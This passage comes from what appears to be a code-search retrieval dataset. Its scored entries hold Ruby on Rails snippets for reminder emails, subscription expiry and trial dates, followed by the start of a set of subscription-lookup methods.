"docid": "4c01b6950627f4d615f03aef13ba002e",
"score": "0.6086453",
"text": "def create_next_alert\n \t@item = BorrowedItem.find_by_item_id(self.arguments[2])\n \tif(self.arguments[3] == \"Borrower\" && @item && @item.returned_on == nil)\n \t\tSendEmailJob.set(wait: 1.days).perform_later(self.arguments[0], self.arguments[1], self.arguments[2], self.arguments[3])\n \tend\n end",
"title": ""
},
{
"docid": "2c3acd8d1d80eabb3894bdafd4d306b9",
"score": "0.6086141",
"text": "def trial_ends_on\n # no trials?\n return if SubscriptionConfig.trial_period.to_i==0\n case \n # in trial, days remaining\n when trial? : next_renewal_on \n # new record? would start from today\n when plan.nil? : Time.zone.today + SubscriptionConfig.trial_period.days\n # start or continue a trial? prorate since creation\n #when active? :\n else\n d = created_at.to_date + SubscriptionConfig.trial_period.days\n d unless d <= Time.zone.today\n # else nil not eligable\n end\n end",
"title": ""
},
{
"docid": "c5ba4e2af8f17dc621b42ed56c61e8b4",
"score": "0.6069015",
"text": "def expiration_date\n Date.tomorrow\n end",
"title": ""
},
{
"docid": "142f505cb077e08596e3ee267d92bcd6",
"score": "0.6034176",
"text": "def set_next_renewal_at\n self.next_renewal_at = Time.now.advance(:months => 1)\n end",
"title": ""
},
{
"docid": "d8f6c9cf89e50a3a551dceb1506726f9",
"score": "0.6024761",
"text": "def send_reminder\n return unless attending.nil?\n\n self.attending = activity.no_response_action\n notes = self.notes || \"\"\n notes << '[auto]'\n self.notes = notes\n save\n\n return unless person.send_attendance_reminder\n\n ParticipantMailer.attendance_reminder(person, activity).deliver_later\n end",
"title": ""
},
{
"docid": "714b94cbe85702a13109d2b2a856a825",
"score": "0.60231394",
"text": "def renew_now(renew_type)\n self.status = ACTIVE\n self.renew_type = self.subs_type = renew_type\n self.renew_date = Time.now.to_date\n self.end_date = self.renew_date + (90 * renew_type).days\n self.remind_date = self.end_date - REMIND_TIME.days\n self.save!\n end",
"title": ""
},
{
"docid": "a6586b24bae2aa3b24a1bdeeac0f4fba",
"score": "0.6022205",
"text": "def update_subscription_expiration!\n if active? and web? and user and ( !user.trial_expiration or ends_on > user.trial_expiration )\n user.update( trial_expiration: ends_on )\n end\n end",
"title": ""
},
{
"docid": "885e591a2e74958d4ae1cdd975d12c15",
"score": "0.6009258",
"text": "def remind\n\t\tself.delay(run_at: self.dueDate).send_reminder\n\tend",
"title": ""
},
{
"docid": "71da1aa424d228a216cf8a7c5aa52baf",
"score": "0.60068965",
"text": "def queue_host_nudge_email\n days_before = days_till_tea_time_start <= 2 ? 1 : 2\n schedule_time = start_time - days_before.send(:days)\n HostMailer.delay(run_at: schedule_time).pre_tea_time_nudge(self.id)\n end",
"title": ""
},
{
"docid": "f0b4f821f48282132f032acc8ddedf8c",
"score": "0.5992823",
"text": "def weekly_meeting_reminder\n @greeting = \"Hi\"\n\n mail :to => \"to@example.org\"\n end",
"title": ""
},
{
"docid": "28c6daf4236fb7be7e83c0267a27efab",
"score": "0.5953156",
"text": "def trial_expired_notification(subscription)\n @subscription = subscription\n mail to: subscription.customer.email, subject: I18n.t('billingly.your_trial_has_expired')\n end",
"title": ""
},
{
"docid": "59160bbc34d67489725ab2faf631193d",
"score": "0.5947169",
"text": "def last_minute_reminder\n @greeting = \"Hi\"\n\n mail :to => \"to@example.org\"\n end",
"title": ""
},
{
"docid": "692c30c0cf4270559e93648a08f28c18",
"score": "0.5943873",
"text": "def send_mail\n StudentMailer.eval_reminder.deliver_now\n end",
"title": ""
},
{
"docid": "2391968e12f56b7f7b678f032fdc88ad",
"score": "0.59401107",
"text": "def expiration\n date + wait_time\n end",
"title": ""
},
{
"docid": "2391968e12f56b7f7b678f032fdc88ad",
"score": "0.59401107",
"text": "def expiration\n date + wait_time\n end",
"title": ""
},
{
"docid": "f860657ef8010087e7c76c1a6190a8d6",
"score": "0.593129",
"text": "def send_reminder_to_approvers\n # NOT USED YET\n # todo: need to add a param for getting the return_url\n @timesheet = Timesheet.find(params[:timesheet_id])\n @timesheet.note << \"\\r[\" + Time.now.to_formatted_s(:uk_date_time_24) +\"] Reminder send to approvers.]\\r\";\n @timesheet.save(false)\n render :action => 'view_timesheet'\n end",
"title": ""
},
{
"docid": "9b5e602034ef237bbcaa5640eb19424d",
"score": "0.59258205",
"text": "def date_can_renew_from\n (@expiry_date - Rails.configuration.registration_renewal_window)\n end",
"title": ""
},
{
"docid": "7a688b0f00ae1ef3045c7d928dde97f1",
"score": "0.59227735",
"text": "def update_reminder\n\t\ttwilio_sid = ENV['TWILIO_SID']\n \ttwilio_token = ENV['TWILIO_TOKEN']\n \tfrom_number = ENV['TWILIO_PHONE_NUMBER']\n \tto_number = '+1'+@current_user.phone\n\n \tmessage = \"hey, #{@current_user.first_name.downcase}. been a while since you tracked your expenses. got some time to check in at balanced.herokuapp.com?\"\n\n\t\t@client = Twilio::REST::Client.new twilio_sid, twilio_token \n\t\t@client.account.messages.create({\n\t\t\t:from => from_number,\n\t\t\t:to => to_number, \n\t\t\t:body => message \n\t\t})\n\n end",
"title": ""
},
{
"docid": "1bf026d698bf2ee5d3b9ff3bfc32696c",
"score": "0.59207183",
"text": "def set_expiration_date\n if !self.status.eql?('Paid')\n self.update_attribute('expiration_date', self.registration_date + 1.month)\n end\n end",
"title": ""
},
{
"docid": "233b5d8a1d628e56e3a07d2512cdbeaf",
"score": "0.5913603",
"text": "def send_attendee_reminder!\n template = EmailTemplate.find_by_id(reminder_email_template_id)\n return false if template.nil?\n attendees.tomorrow_reminder.each do |attendee|\n EmailContact.log(\n attendee.invitable_id, \n TemplateMailer.deliver(template.create_email_to(attendee)),\n nil, nil,\n attendee\n )\n end\n end",
"title": ""
},
{
"docid": "aba533cf959a951c70d91fc3b284625c",
"score": "0.5909266",
"text": "def payment_1daybefore_recurring_notification(payment)\n @user = payment.user\n @payment = payment\n mail to: @user.email, subject: \"Your #{payment.goal} to #{payment.payable.try(:name)} is due tomorrow\", from: 'support@loverealm.org'\n end",
"title": ""
},
{
"docid": "93173dd296ec19e2a294be19b1220d38",
"score": "0.590887",
"text": "def send_activate_user_reminder_email\n # find the email template corresponding to the\n # incremented_reminder_count\n template = EmailTemplate.find_by_name(\n \"after-activate-user-reminder-#{self.activate_user_reminder_count}\"\n )\n\n # do noting if no template could be found\n return unless template\n\n # set the liquid template options\n template_options = { 'user1' => self }\n\n # render the template and deliver it\n ApplicationMailer.email_template(template, self, template_options).deliver\n\n # update the new activate_user_reminder_count attribute\n update_column :activate_user_reminder_count, 1\n end",
"title": ""
},
{
"docid": "17d066107ac8b3b4d1f43b8a1c38affb",
"score": "0.5904192",
"text": "def expiry(t)\n Time.now + t\n end",
"title": ""
},
{
"docid": "a5a2ead55a7386a7bea38035295e642f",
"score": "0.58993846",
"text": "def next_episode_reminder_time\n email_time = '12:00'\n\n user_next_email_time = Time.parse(local_current_date.to_s + ' ' + email_time)\n\n local_to_utc(user_next_email_time)\n end",
"title": ""
},
{
"docid": "6163837cb4abca017c9a87ab5556ed39",
"score": "0.5896744",
"text": "def send_reminder(publication)\n # Check that publication is not submitted\n if !publication.state.include? \"_submitted\" \n email = Email.find_by_trigger(\"#{publication.state}_remind\") \n # Check that delay is set\n if email.delay.days > 0\n # Check if update since last\n if publication.updated_at > self.last_email_at\n Reminder.create(:publication_id => publication.id, :state => publication.state, :action => 'updated', :last_email_at => publication.updated_at)\n # Check if more time than delay has gone\n elsif Time.now > self.last_email_at + email.delay.days\n # Send out email\n Notifier.deliver_workflow_notification(publication.user,email) \n Reminder.create(:publication_id => publication.id, :state => publication.state, :action => 'reminded', :last_email_at => publication.updated_at)\n end\n end\n end\n end",
"title": ""
},
{
"docid": "2531fe5a4e9a5bfcc52bc2c055b8a9bc",
"score": "0.5891795",
"text": "def send_expiration_alert(time)\n Notifier.expiration_alert_to_admin(self,time).deliver\n if self.status == 'advertiser_reviewed'\n Notifier.expiration_alert_to_advertiser(self,time).deliver\n else\n Notifier.expiration_alert_to_influencer(self,time).deliver\n end\n end",
"title": ""
},
{
"docid": "b3350430e88c0f14c628104ede5f56c5",
"score": "0.5887097",
"text": "def schedule_expire_notification\n remove_expire_notification\n self.delay(queue: \"DERBE#{kl_id.gsub('-','')}\", run_at: analyze_date).create_expire_notification\n end",
"title": ""
},
{
"docid": "5dbf927b5ad66368bd2ced50574e6612",
"score": "0.5879541",
"text": "def notify_expired\n end",
"title": ""
},
{
"docid": "1abc9412922cb4a28dd12e4cedb7ff33",
"score": "0.58740354",
"text": "def update_pay_dates\n reminder.update_attributes(:last_pay_date => created_at, :next_pay_date => reminder.next_pay_date + (reminder.frequency).months ) unless reminder.nil?\n end",
"title": ""
},
{
"docid": "5b07f92c7834998d03cdafa2248b579e",
"score": "0.5854565",
"text": "def set_due_date()\n # this adds 7 days in seconds (7*24*60*60)\n @due_date = Time.now.+(7*24*60*60).strftime('%Y-%m-%d')\n DB.exec(\"UPDATE checkouts SET due_date = #{@due_date} WHERE id = #{@id};\")\n end",
"title": ""
},
{
"docid": "d51e8fbb35a297ce27afaa5f2e4bbf03",
"score": "0.58486724",
"text": "def message_7days_after_singup(user)\n return unless user.receive_notification\n @user = user\n mail to: user.email, from: 'yaw@loverealm.org', subject: \"Not what you expected? Tell us more...\"\n end",
"title": ""
},
{
"docid": "cc336ad122e5a3d991fd814e91e2674d",
"score": "0.5848332",
"text": "def send_primary_reminder_email\n UserMailer.primary_reminder_email(self).deliver_now\n end",
"title": ""
},
{
"docid": "936687a799e2e91bff2f39435c4d4578",
"score": "0.58451664",
"text": "def send_invite_email_if_needed\n if send_invite_email_now == \"1\" && application_for_offering.page_passes_validations?(application_for_offering.current_page.offering_page)\n self.send_invite_email_now = false\n deliver_invite_email \n end\n end",
"title": ""
},
{
"docid": "112207d3a20d0da445c4198946dc1076",
"score": "0.5844778",
"text": "def CreateDisclosureFollowUpDateReminder\n\t\tuserId = params['messenger user id']\n\t\tuser = GetUserBySenderId(userId).first\n\t\tif user.present?\n \t\t\tcurrentTicket = GetCurrentTicket(user[:id]).first\n \t\t\tif currentTicket.present?\n \t\t\t\tticketId = currentTicket[:id]\n \t\t\t\tcourtDate = GetCourtDateByTicketId(ticketId)\n \t\t\t\tif !courtDate.nil?\n \t\t\t\t\tSetDisclosureRequestionSubmissionDateByTicketId(ticketId, Time.now)\n\t\t\t\t\trunAtDate = Time.now + 56.days\n\t\t\t\t\tCreateTimer(userId, \"DisclosureFollowUpDate\", runAtDate)\n \t\t\t\tend\n \t\t\tend\n\t\tend\n\n\t\trender :html => \"test\"\n\tend",
"title": ""
},
{
"docid": "07f3eeed572a9fb401d635f58b0c9b57",
"score": "0.58312696",
"text": "def undergrad_reminder user\n @user = user\n\n mail to: user.email\n end",
"title": ""
},
{
"docid": "d2bfbd6b1ea5a7bf49acfe037b606613",
"score": "0.58186424",
"text": "def generate_expire_date\r\n self.expires_at = Time.now + 1.month\r\n end",
"title": ""
},
{
"docid": "1e65aa6d3cf0a505944c9290c904943f",
"score": "0.5818591",
"text": "def set_expire_date\n Date.today.next_year(STANDARD_VALIDITY_YRS).strftime('%m/%y')\n end",
"title": ""
},
{
"docid": "2d7ad8d849f6a58d5b9d03c5196503b3",
"score": "0.5810754",
"text": "def reminder\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"title": ""
},
{
"docid": "1e20799e2d589a4badc0afe271425831",
"score": "0.5800823",
"text": "def expire!\n Freemium.log_subscription_msg(self, \"expired!\")\n Freemium.mailer.deliver_expiration_notice(subscriber, self)\n # downgrade to a free plan, IF one is specified\n self.subscription_plan = Freemium.expired_plan if Freemium.expired_plan\n self.state_dsc = 'expired'\n \n # cancel whatever in the gateway\n cancel_in_remote_system\n # throw away this billing key (they'll have to start all over again)\n self.billing_key = nil\n # save all changes\n self.save!\n end",
"title": ""
},
{
"docid": "2c69cef8e27378028d866a3f0c4c0f44",
"score": "0.57885766",
"text": "def message_1day_after_singup(user)\n return unless user.receive_notification\n @user = user\n mail to: user.email, from: 'yaw@loverealm.org', subject: \"How's your LoveRealm experience going?\"\n end",
"title": ""
},
{
"docid": "0d0268c2957d29ebae34362bcc79bdce",
"score": "0.57822365",
"text": "def send_reminder\n # Sanity check that the reminder date didn't change while queued.\n return unless !reminder_done && reminder_at\n return if reminder_at > Time.zone.now\n\n participants = self.participants.where(attending: nil)\n participants.each(&:send_reminder)\n\n self.reminder_done = true\n save\n end",
"title": ""
},
{
"docid": "cc73013c7a73769431d5bdd880e4c112",
"score": "0.5774202",
"text": "def generate_expiry\n case tokentype\n when TYPES[:password_reset]\n self.expires = 1.day.since\n when TYPES[:account_confirmation]\n self.expires = 7.days.since\n end\n end",
"title": ""
},
{
"docid": "6fa249f4b65af62869f1544cd1b2ea46",
"score": "0.57665616",
"text": "def expire!\n Freemium.mailer.deliver_expiration_notice(self)\n # downgrade to a free plan\n self.expire_on = Date.today\n old_plan=self.subscription_plan\n self.subscription_plan = Freemium.expired_plan if Freemium.expired_plan\n #save should be doing this\n #self.destroy_credit_card if Freemium.destroy_credit_card_for_free_accounts\n if old_plan.premium?\n self.subscription_histories.create_from_subscription(self, nil, nil, old_plan)\n end\n self.save!\n\n # #make sure account gets updated status\n self.account.transfer_subscription_details(self)\n self.account.save\n end",
"title": ""
},
{
"docid": "f3687f7fdb1205ff005f3c8588e09d52",
"score": "0.5741912",
"text": "def test_expiry_is_one_week\n @pcr.created_at = Time.now\n assert @pcr.save\n assert_equal false, @pcr.expired?\n \n @pcr.created_at = Time.now-1.day\n assert @pcr.save\n assert_equal false, @pcr.expired?\n \n \n \n \n @pcr.created_at = Time.now-1.week\n assert @pcr.save\n assert_equal true, @pcr.expired?\n \n \n end",
"title": ""
},
{
"docid": "4aaac3bdc1c13da290525b650ddab8f4",
"score": "0.5739292",
"text": "def appointment_delayed_email(patient, new_time)\n @patient = patient\n @new_time = new_time.strftime(\"%m-%e-%y %I:%M%p\")\n\n mail to: @patient.email, subject: 'Appointment time changed'\n end",
"title": ""
},
{
"docid": "945d9f07914e21724cbe2339ae199f12",
"score": "0.5735369",
"text": "def reminder(invite)\n @greeting = \"Hi\"\n @party = invite.party\n email = invite.user.email\n organizer_email = @party.organizer.email\n mail to: email, from: organizer_email , subject: \"Please RSVP!\"\n end",
"title": ""
},
{
"docid": "96966a4a6ce19c65862e37bf63e7be53",
"score": "0.5734289",
"text": "def reminder\n @greeting = \"Hallo, je hebt nog niet aangegeven of je aanwezig bent voor de aankomende wedstrijd of training. Doe dit vandaag nog anders wordt je automisch afwezig gemeld.\"\n\n mail to: \"peter_vd_berg@hotmail.com\", subject: \"Parkstad, doorgeven van je aanwezigheid\"\n end",
"title": ""
},
{
"docid": "287fc946d0950fd959f172ff53466126",
"score": "0.5732108",
"text": "def appointment_reminder\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"title": ""
},
{
"docid": "fc340dc2ec433d98b257c8d960a13726",
"score": "0.5721121",
"text": "def default_expiry_time\n DateTime.now + 1\n end",
"title": ""
},
{
"docid": "653f8d7d40bc3fcaa548a41b954bcc31",
"score": "0.57163656",
"text": "def set_deadline_to_decline\n self.deadline_to_decline = ( Time.now + 6.months ) unless self.deadline_to_decline.present?\n end",
"title": ""
},
{
"docid": "3f5c350e9f0b8af00551e1bd20166af3",
"score": "0.571387",
"text": "def reminder(req)\n@req = req\n@greeting = \"Hi\"\nb = @req.startd.to_s.split(\" \")\n@startd = b[1]\nc = @req.endd.to_s.split(\" \")\n@endd = c[1]\nmail to: \"#{@req.email}\", subject: \"Conference Room Booking Rescheduled\"\n end",
"title": ""
},
{
"docid": "a4144826416b9fd998a163f432636d5f",
"score": "0.5713432",
"text": "def next_reminder(time)\n # return next_time\n end",
"title": ""
},
{
"docid": "fc10203ba0550be59ce1546965f9b943",
"score": "0.570623",
"text": "def valid_until_date\n invitation_sent_at + 3.days\n end",
"title": ""
},
{
"docid": "97a72abe268e07b1ee6438c5a506b294",
"score": "0.5693986",
"text": "def ask_office_answer_due_date_mail(petition)\n @petition = petition\n subject = t('mail.request.due_date_subject', petition: petition.name)\n mail(reply_to: subdomain_address(@petition), to: @petition.office.email,\n subject: subject)\n end",
"title": ""
},
{
"docid": "5c9bcde36aee3b62371bb95707f4d039",
"score": "0.5691053",
"text": "def expiration_date\n @stored_at + Rational(expiration_time.to_i, Utils::SECONDS_PER_DAY)\n end",
"title": ""
},
{
"docid": "cc27b4341f102584c9247b4eae21a50c",
"score": "0.5687573",
"text": "def send_reminder\n if has_role? :admin # if user is admin\n User.where.not(id: self.id).each do |u| # select all other users\n if u.has_three_day_overdue_tasks? # if user has task over 3 days old\n NotificationMailer.tattle_tale(self, u).deliver_now\n puts \"oh my god, #{u.email} has a task thats 3 days over due!\"\n end\n end\n else\n if has_overdue_tasks?\n NotificationMailer.overdue_email(self).deliver_now\n puts \"sent email to #{self.email}\"\n end\n end\n end",
"title": ""
},
{
"docid": "3f9f8a7b50e9d9cfcb8bdb4a8da8d77d",
"score": "0.56809115",
"text": "def send_password_reset\n create_password_reset_key(:expires_on => DateTime.current + 2.hours)\n MemberMailer.password_reset(self).deliver\n end",
"title": ""
},
{
"docid": "6d4608a5e67f4c4b648a55a632f7ee37",
"score": "0.5679705",
"text": "def set_reminder\n \n time_str = ((self.time).localtime).strftime(\"%I:%M%p on %b. %d, %Y\")\n body = \"Hi. Just a reminder that you have an birthday reminder for #{self.name} at #{time_str}.\"\n \n end",
"title": ""
},
{
"docid": "6d128884930c4cae3499603e70be76fa",
"score": "0.567861",
"text": "def email_verification_expired?\n email_verification_sent_at < 2.hours.ago\n end",
"title": ""
},
{
"docid": "cd1a1b8c7722e3d7eb87741ae0347412",
"score": "0.5675533",
"text": "def control_reminder user\n @user = user\n\n mail to: user.email\n end",
"title": ""
},
{
"docid": "a825cbdecbc78ef714f57691405bc262",
"score": "0.5675508",
"text": "def daily_digest\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"title": ""
},
{
"docid": "9fe27954ee5ea561ed244cb858dd4263",
"score": "0.56695294",
"text": "def test_unregistered_user_gets_different_reminder\r\n reminder_setup\r\n\r\n post_to_controller(PlansController.new, :update, {:id => @plan.id, :plan_who => \"newemail@newemail.com,,\"})\r\n\r\n #KS- fast forward to within 5 hours of the plan\r\n within_reminder_window = @date_one_week_from_now.getgm - 5.hours\r\n Time.set_now_gmt(within_reminder_window.year, within_reminder_window.month, within_reminder_window.day, within_reminder_window.hour) do\r\n #KS- run what the reminder agent runs\r\n User.send_reminders(sqlize_date(Time.now))\r\n\r\n #KS- grab the email we care about\r\n emails_to_new_user = @emails.find_all{|email| email.to[0] == \"newemail@newemail.com\"}\r\n assert_equal 1, emails_to_new_user.length\r\n\r\n #KS- make sure the body matches some stuff that's only in the unregistered reminder\r\n #and that it does NOT match some stuff that's only in the registered reminder\r\n unregistered_reminder_email = emails_to_new_user[0]\r\n assert unregistered_reminder_email.body.match(/You can also suggest a new time/)\r\n assert !unregistered_reminder_email.body.match(/Too many emails from Skobee/)\r\n end\r\n end",
"title": ""
},
{
"docid": "cf1bb6ad2c59792c3bd9d60b6a112c58",
"score": "0.56666183",
"text": "def add_purchase_reminder(user)\n @user = user\n\n @source = \"email_purchase_reminder\"\n\n generate_attributes(@user,0,@user,EmailPurpose::AddPurchase)\n\n recipients @user.email\n from EMAILS[:contact]\n subject \"Bought anything new this week?\"\n end",
"title": ""
},
{
"docid": "27d4558d389f14a75d0db1887ff025f2",
"score": "0.5664389",
"text": "def evaluation_reminder(research, evaluation)\n @research = research\n @evaluation = evaluation\n @employee = evaluation.employee\n\n mail to: @employee.email\n end",
"title": ""
},
{
"docid": "327fb5d080f6ce70512700f20178c982",
"score": "0.5662255",
"text": "def generate_expires_at\n self.expires_at = (Time.now + 60.days).to_i\n end",
"title": ""
},
{
"docid": "327fb5d080f6ce70512700f20178c982",
"score": "0.5662255",
"text": "def generate_expires_at\n self.expires_at = (Time.now + 60.days).to_i\n end",
"title": ""
},
{
"docid": "68455572727de1c4d1083fb3b2dbae8b",
"score": "0.56621754",
"text": "def start_expiry_period!\n self.update_attribute(:access_token_expires_at, 2.days.from_now)\n end",
"title": ""
},
{
"docid": "82f65d97d37242b0233eba0f26a1960a",
"score": "0.56604344",
"text": "def create_reminder_notification\n @reminder_scheduler = Scheduler.new\n # Calculate remainder time\n reminder_time = case self.frequency\n when :every_minute then self.target_date - 30\n when :hourly then self.target_date - (60 * 30)\n else self.target_date - (60 * 60 * 24)\n end\n \n # Set the reminder message\n message = \"Hey #{GOALSETTER.name}, this is a reminder for you to: #{self.description.uncolorize}\"\n\n # Schedule a popup message\n @reminder_scheduler.schedule_popup(message, reminder_time)\n\n # Schedule an email message\n @reminder_scheduler.schedule_email(GOALSETTER.email, message, reminder_time)\n end",
"title": ""
},
{
"docid": "8a27ca79c624cd4e61f9872f489cb683",
"score": "0.5654662",
"text": "def trial_until(trial_until)\n @trial_expires = trial_until\n\n self\n end",
"title": ""
}
] |
5d2ead85bb1449fe540ccbed90864ff2 | Returns information about a specific subscription. | [
{
"docid": "24a13064ce53cc520ccb86c62a472c4c",
"score": "0.62435967",
"text": "def get_by_guid(guid)\n HttpClient::Preconditions.assert_class('guid', guid, String)\n @client.request(\"/subscriptions/#{guid}\").get { |hash| Apidoc::Models::Subscription.new(hash) }\n end",
"title": ""
}
] | [
{
"docid": "a3b30bd85b54cdec5b65615e44c06f62",
"score": "0.8531702",
"text": "def subscription_info(subscription_id = @subscription_id)\n url = url_with_api_version(@base_url, 'subscriptions', subscription_id)\n resp = rest_get(url)\n JSON.parse(resp.body)\n end",
"title": ""
},
{
"docid": "503cec0d0e579948b69bc2e31b4d7b7c",
"score": "0.7852244",
"text": "def get_subscription(subscription_id)\n get(url_(\"subscription\", subscription_id))\n end",
"title": ""
},
{
"docid": "698b3795c279361088098804f1a2897b",
"score": "0.767585",
"text": "def get_subscription subscription_name, options = {}\n subscriber.get_subscription subscription: subscription_path(subscription_name, options)\n end",
"title": ""
},
{
"docid": "8b35491ea08669551053126415bb3d3a",
"score": "0.76424456",
"text": "def subscription\n attributes[:subscription].to_sym if attributes[:subscription]\n end",
"title": ""
},
{
"docid": "8ae41d4e8a3c5dd9e2a9f88b3690776e",
"score": "0.7423596",
"text": "def subscription\n s = subscription_node[:subscription]\n s.to_sym if s\n end",
"title": ""
},
{
"docid": "86d5209ec0afff32637fdf2f8313d7a4",
"score": "0.73764163",
"text": "def subscription\n ret = nil\n if type == 'S'\n ret = @mc2p.subscription('id' => @json_body['id'])\n ret.retrieve\n end\n ret\n end",
"title": ""
},
{
"docid": "bcf11cbc6bb98b63f01f29ddea17df9a",
"score": "0.73246825",
"text": "def read_subscription(subscription_id)\n query = @subscriptions[subscription_id]\n {\n query_string: query.query_string,\n variables: query.provided_variables,\n context: query.context.to_h,\n operation_name: query.operation_name,\n }\n end",
"title": ""
},
{
"docid": "8ac95b6544fef4e93b1f6a56b9422187",
"score": "0.71678185",
"text": "def subscription\n Zapi::Models::Subscription.new\n end",
"title": ""
},
{
"docid": "c85c25a44c2481685fc013a94f53f377",
"score": "0.71166086",
"text": "def subscriptions\n url = url_with_api_version(@base_url, 'subscriptions')\n resp = rest_get(url)\n JSON.parse(resp.body)[\"value\"]\n end",
"title": ""
},
{
"docid": "9c1eed3f31cf3c8f373b5b6886886c33",
"score": "0.7090501",
"text": "def read_subscription(subscription_id)\n query = @subscriptions[subscription_id]\n if query.nil?\n # This can happen when a subscription is triggered from an unsubscribed channel,\n # see https://github.com/rmosolgo/graphql-ruby/issues/2478.\n # (This `nil` is handled by `#execute_update`)\n nil\n else\n {\n query_string: query.query_string,\n variables: query.provided_variables,\n context: query.context.to_h,\n operation_name: query.operation_name,\n }\n end\n end",
"title": ""
},
{
"docid": "704973bc6b1671434c58b7ce645ce1d1",
"score": "0.70145637",
"text": "def subscription(id)\n Sensit::Api::Subscription.new id, @http_client\n end",
"title": ""
},
{
"docid": "fb1dcb98268336646134245d222bb576",
"score": "0.6999414",
"text": "def subscription\n case attributes['subscription']\n when 'both' then :both\n when 'from' then :from\n when 'none' then :none\n when 'remove' then :remove\n when 'to' then :to\n else nil\n end\n end",
"title": ""
},
{
"docid": "6bd6d43faa50dd0ee0805f163b906932",
"score": "0.6981064",
"text": "def read_subscription(subscription_id)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "9eecaab6eadbe94902c74d08ba706516",
"score": "0.696574",
"text": "def get(subscription_key)\n args = ZAPIArgs.new\n args.uri = Resource_Endpoints::GET_SUBSCRIPTION.gsub(\"{subscription-key}\", ERB::Util.url_encode(subscription_key))\n\n puts \"========== GET A SUBSCRIPTION ============\"\n\n begin\n @z_client.get(args) do |resp|\n ap resp\n return resp if resp.httpStatusCode.to_i == 200 && resp.success\n end\n rescue ArgumentError => e\n puts e.message\n rescue RuntimeError => e\n puts e.message\n end\n\n nil\n end",
"title": ""
},
{
"docid": "56b110fea6d115c5e870d81705f1a841",
"score": "0.6926028",
"text": "def subscription\n device = APN::Device.where(:subscriptions => {'$elemMatch' => { :_id => self.subscription_id }}).first\n device.subscriptions.where(:_id => self.subscription_id).first\n end",
"title": ""
},
{
"docid": "236c5cff00c0193cfd79dff3277d6f41",
"score": "0.6896517",
"text": "def stripe_subscription\n if stripe_subscription_id\n Stripe::Subscription.retrieve(stripe_subscription_id)\n end\n end",
"title": ""
},
{
"docid": "3529db76e1890d183798c00b5fcfa3ed",
"score": "0.6835989",
"text": "def details(subscription_agreement_id)\n API::request(:get, \"subscription_agreements/#{subscription_agreement_id}\")\n end",
"title": ""
},
{
"docid": "1c2d069ee0d8ad81621d2884a4b5db09",
"score": "0.6813298",
"text": "def subscriber_details(customer, subscription_id=nil)\n last_sub_order = last_shopify_subscription(customer)\n return { inactive_subscription: true } if last_sub_order.nil?\n\n is_first_sub = last_sub_order['tags'].include?('Subscription First Order')\n\n order_titles = last_sub_order['line_items'].map{ |li| li['title']}\n is_8pack = order_titles.any? { |ot| ot.include?('8 Pack')}\n\n # query recharge api for next charge date\n recharge_data = get_recharge_data(customer['id'])\n\n if subscription_id == nil\n desired_subscription = recharge_data[0]\n else\n desired_subscription = recharge_data.select{ |sub| sub['id'] == subscription_id }[0]\n end\n\n frequency = \"#{desired_subscription['order_interval_frequency']} #{desired_subscription['order_interval_unit']}s\"\n subscription_id = desired_subscription['id']\n active_subscriptions = recharge_data.map { |rd| rd['id'] }\n\n if desired_subscription['status'] == 'ACTIVE'\n next_scheduled_date = Date.strptime(desired_subscription['next_charge_scheduled_at'])\n skipped_interval_dates = potential_skip_intervals(desired_subscription)\n calendar_date = 5.business_days.after(next_scheduled_date).to_time.to_i * 1000\n else\n calendar_date = nil\n skipped_interval_dates = nil\n end\n\n return { subscription_id: subscription_id, address_id: desired_subscription['address_id'], frequency: frequency, skipped_interval_dates: skipped_interval_dates, calendar_date: calendar_date, subscription_type: desired_subscription['product_title'], inactive_subscription: false, active_subscriptions: active_subscriptions }\nend",
"title": ""
},
{
"docid": "2c5211458d4030ba77e558328dbc47fc",
"score": "0.68131846",
"text": "def subscription_for(topic)\n subscriptions.where(:topic_id => topic.id).first\n end",
"title": ""
},
{
"docid": "7aae83a9fd9d17ce107e7b6380bd3ee2",
"score": "0.6801758",
"text": "def subscription\n subscriptions.last\n end",
"title": ""
},
{
"docid": "051fd12045881f4557083bc41fe2401a",
"score": "0.6799044",
"text": "def all_subscriptions\n get(url_(\"subscription\"))\n end",
"title": ""
},
{
"docid": "f9e08a8b75c5af6d52e4b510296cc6b6",
"score": "0.6782872",
"text": "def subid\n subscription_node[:subid]\n end",
"title": ""
},
{
"docid": "9d44e1107120088b1f380ea67dbb4492",
"score": "0.6773269",
"text": "def show\n @subscription = current_user.subscriptions.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscription }\n end\n end",
"title": ""
},
{
"docid": "9d44e1107120088b1f380ea67dbb4492",
"score": "0.6773269",
"text": "def show\n @subscription = current_user.subscriptions.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subscription }\n end\n end",
"title": ""
},
{
"docid": "30fc05488cad455ab23c20bf93b1eb8e",
"score": "0.67368764",
"text": "def get_subscription(survey_id)\r\n (s = self.subscriptions.by_survey(survey_id)) && s.first\r\n end",
"title": ""
},
{
"docid": "30fc05488cad455ab23c20bf93b1eb8e",
"score": "0.67368764",
"text": "def get_subscription(survey_id)\r\n (s = self.subscriptions.by_survey(survey_id)) && s.first\r\n end",
"title": ""
},
{
"docid": "e128fbe22e579faadafc8e7933c64ef1",
"score": "0.6730793",
"text": "def lookup_subscription\n @subscription = if params.has_key?(:id)\n UserSubscription.find(params[:id])\n else\n current_user.user_subscriptions.where(artist: @user).first\n end\n end",
"title": ""
},
{
"docid": "9a98d3a40dfe0d718ad283cb6e0f0237",
"score": "0.66992664",
"text": "def show\r\n @subscription = Subscription.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @subscription }\r\n end\r\n end",
"title": ""
},
{
"docid": "c2cf701a7751e7d91b46a9ce632d1b3b",
"score": "0.66742104",
"text": "def subscription\n @result = ChargeBee::Subscription.retrieve(@subscription_id)\n @billing_address = @result.customer.billing_address\n @country_codes = get_country_codes\n \n @shipping_address = retrieve_shipping_address(@subscription_id)\n @invoice_estimate = nil\n if @result.subscription.status != \"cancelled\" && @result.subscription.status != \"non_renewing\"\n @invoice_estimate = ChargeBee::Estimate.renewal_estimate(@subscription_id, {\"use_existing_balances\" => \"true\"}).estimate.invoice_estimate\n end\n \n @subscription_status = subscription_status()[@result.subscription.status]\n end",
"title": ""
},
{
"docid": "e65782c90dd4a727e1e034e4ee1fca3d",
"score": "0.6673064",
